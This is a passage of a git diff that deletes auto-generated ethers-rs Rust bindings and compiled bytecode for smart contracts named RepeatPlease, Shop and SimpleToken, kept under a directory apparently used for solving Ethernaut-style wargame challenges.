deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for RepeatPlease { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(RepeatPlease)) - .field(&self.address()) - .finish() - } - } - impl RepeatPlease { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - REPEATPLEASE_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - REPEATPLEASE_ABI.clone(), - REPEATPLEASE_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `amount` (0xaa8c217c) - /// function - pub fn amount( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([170, 140, 33, 124], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `balance` (0xb69ef8a8) - /// function - pub fn balance( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([182, 158, 248, 168], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `donate` (0xed88c68e) - /// function - pub fn donate( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([237, 136, 198, 142], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `give_money` (0x70d50a6b) - /// function - pub fn give_money( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([112, 213, 10, 107], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `original` (0x46c715fa) - /// function - pub fn original( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([70, 199, 21, 250], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for RepeatPlease - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `amount` function with signature `amount()` and - /// selector `0xaa8c217c` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "amount", abi = "amount()")] - pub struct AmountCall; - ///Container type for all input parameters for the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balance", abi = "balance()")] - pub struct BalanceCall; - ///Container type for all input parameters for the - /// `donate` function with signature `donate()` and - /// selector `0xed88c68e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "donate", abi = "donate()")] - pub struct DonateCall; - ///Container type for all input parameters for the - /// `give_money` function with signature `give_money()` - /// and selector `0x70d50a6b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "give_money", abi = "give_money()")] - pub struct GiveMoneyCall; - ///Container type for all input parameters for the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "original", abi = "original()")] - pub struct OriginalCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum RepeatPleaseCalls { - Amount(AmountCall), - Balance(BalanceCall), - Donate(DonateCall), - GiveMoney(GiveMoneyCall), - Original(OriginalCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for RepeatPleaseCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Amount(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Balance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Donate(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::GiveMoney(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Original(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for RepeatPleaseCalls { - fn encode(self) -> Vec { - match self { - Self::Amount(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Balance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Donate(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::GiveMoney(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Original(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for RepeatPleaseCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Amount(element) => ::core::fmt::Display::fmt(element, f), - Self::Balance(element) => ::core::fmt::Display::fmt(element, f), - Self::Donate(element) => ::core::fmt::Display::fmt(element, f), - Self::GiveMoney(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Original(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: AmountCall) -> Self { Self::Amount(value) } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: BalanceCall) -> Self { Self::Balance(value) } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: DonateCall) -> Self { Self::Donate(value) } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: GiveMoneyCall) -> Self { Self::GiveMoney(value) } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: OriginalCall) -> Self { Self::Original(value) } - } - impl ::core::convert::From for RepeatPleaseCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `amount` function with signature `amount()` and - /// selector `0xaa8c217c` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct AmountReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceReturn { - pub balanceee: ::ethers::core::types::U256, - } - ///Container type for all return fields from the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OriginalReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/shop.rs b/attack/src/abi/shop.rs deleted file mode 100644 index 5e2c436..0000000 --- a/attack/src/abi/shop.rs +++ /dev/null @@ -1,351 +0,0 @@ -pub use shop::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod shop { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("buy"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("buy"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("isSold"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("isSold"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("price"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("price"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static SHOP_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`d`\0U4\x80\x15a\0\x15W`\0\x80\xFD[Pa\x02%\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xDCW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\0\x91\x90a\x01\xD6V[\x10\x15\x80\x15a\x01\x11WP`\x01T`\xFF\x16\x15[\x15a\x01\xD3W`\x01\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x16\x81\x17\x90U`@\x80Q\x7F\xA05\xB1\xFE\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xCF\x91\x90a\x01\xD6V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\xE8W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 2\xB2_\xAE\x8A~kuP\xFB\xD6\x9E\xFE\xEDL|\x95\x98\xD6B&\xDCh\xD7Yd\xAF\x1Al\xC4\xB9\xCBdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static SHOP_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xDCW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\0\x91\x90a\x01\xD6V[\x10\x15\x80\x15a\x01\x11WP`\x01T`\xFF\x16\x15[\x15a\x01\xD3W`\x01\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x16\x81\x17\x90U`@\x80Q\x7F\xA05\xB1\xFE\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xCF\x91\x90a\x01\xD6V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\xE8W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 2\xB2_\xAE\x8A~kuP\xFB\xD6\x9E\xFE\xEDL|\x95\x98\xD6B&\xDCh\xD7Yd\xAF\x1Al\xC4\xB9\xCBdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static SHOP_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Shop(::ethers::contract::Contract); - impl ::core::clone::Clone for Shop { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Shop { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Shop { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Shop { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Shop)) - .field(&self.address()) - .finish() - } - } - impl Shop { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - SHOP_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - SHOP_ABI.clone(), - SHOP_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `buy` (0xa6f2ae3a) function - pub fn buy(&self) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([166, 242, 174, 58], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `isSold` (0xe852e741) - /// function - pub fn is_sold( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([232, 82, 231, 65], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `price` (0xa035b1fe) - /// function - pub fn price( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([160, 53, 177, 254], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Shop - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `buy` function with signature `buy()` and selector - /// `0xa6f2ae3a` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "buy", abi = "buy()")] - pub struct BuyCall; - ///Container type for all input parameters for the - /// `isSold` function with signature `isSold()` and - /// selector `0xe852e741` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "isSold", abi = "isSold()")] - pub struct IsSoldCall; - ///Container type for all input parameters for the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "price", abi = "price()")] - pub struct PriceCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum ShopCalls { - Buy(BuyCall), - IsSold(IsSoldCall), - Price(PriceCall), - } - impl ::ethers::core::abi::AbiDecode for ShopCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Buy(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::IsSold(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Price(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for ShopCalls { - fn encode(self) -> Vec { - match self { - Self::Buy(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::IsSold(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Price(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for ShopCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Buy(element) => ::core::fmt::Display::fmt(element, f), - Self::IsSold(element) => ::core::fmt::Display::fmt(element, f), - Self::Price(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for ShopCalls { - fn from(value: BuyCall) -> Self { Self::Buy(value) } - } - impl ::core::convert::From for ShopCalls { - fn from(value: IsSoldCall) -> Self { Self::IsSold(value) } - } - impl ::core::convert::From for ShopCalls { - fn from(value: PriceCall) -> Self { Self::Price(value) } - } - ///Container type for all return fields from the - /// `isSold` function with signature `isSold()` and - /// selector `0xe852e741` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IsSoldReturn(pub bool); - ///Container type for all return fields from the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PriceReturn(pub ::ethers::core::types::U256); -} diff --git a/attack/src/abi/simple_token.rs b/attack/src/abi/simple_token.rs deleted file mode 100644 index c2d42e9..0000000 --- a/attack/src/abi/simple_token.rs +++ /dev/null @@ -1,476 +0,0 @@ -pub use simple_token::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod simple_token { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_name"), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_creator"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_initialSupply"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint(256usize), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("balances"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balances"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("destroy"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("destroy"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("name"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("name"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static SIMPLETOKEN_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x06\xB78\x03\x80a\x06\xB7\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8EV[`\0a\0;\x84\x82a\x01\xFAV[P`\x01`\x01`\xA0\x1B\x03\x90\x91\x16`\0\x90\x81R`\x01` R`@\x90 UPa\x02\xB9V[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x89W`\0\x80\xFD[\x91\x90PV[`\0\x80`\0``\x84\x86\x03\x12\x15a\0\xA3W`\0\x80\xFD[\x83Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15a\0\xBAW`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\0\xCEW`\0\x80\xFD[\x81Q\x81\x81\x11\x15a\0\xE0Wa\0\xE0a\0\\V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x01\x08Wa\x01\x08a\0\\V[\x81`@R\x82\x81R` \x93P\x89\x84\x84\x87\x01\x01\x11\x15a\x01$W`\0\x80\xFD[`\0\x91P[\x82\x82\x10\x15a\x01FW\x84\x82\x01\x84\x01Q\x81\x83\x01\x85\x01R\x90\x83\x01\x90a\x01)V[`\0\x84\x84\x83\x01\x01R\x80\x97PPPPa\x01_\x81\x87\x01a\0rV[\x93PPP`@\x84\x01Q\x90P\x92P\x92P\x92V[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x01\x85W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x01\xA5WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15a\x01\xF5W`\0\x81\x81R` \x81 